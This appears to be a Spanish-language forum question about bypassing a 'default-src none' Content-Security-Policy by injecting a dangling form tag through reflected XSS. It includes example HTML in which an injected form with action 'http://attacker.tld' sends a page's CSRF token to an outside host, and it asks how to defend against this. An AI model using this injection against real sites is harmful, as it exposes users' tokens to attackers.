Este artículo habla sobre eludir el CSP utilizando etiquetas de formulario.
Editar: Como se sugirió, se deben proporcionar detalles en caso de que el enlace externo deje de funcionar.
Así que aquí están los detalles:
Existe una política de seguridad de contenido y un parámetro vulnerable para XSS:
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div>[Reflected XSS vulnerability here]</div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
Así es como el autor intenta evitar el CSP:
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div><form action=”http://attacker.tld”></div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
Quiero saber, ¿hay alguna forma de implementar el CSP para detener el ataque anterior y evitar los tokens sensibles que se enviarán a un dominio externo?
O se debe hacer una codificación adecuada de caracteres especiales para detener esto.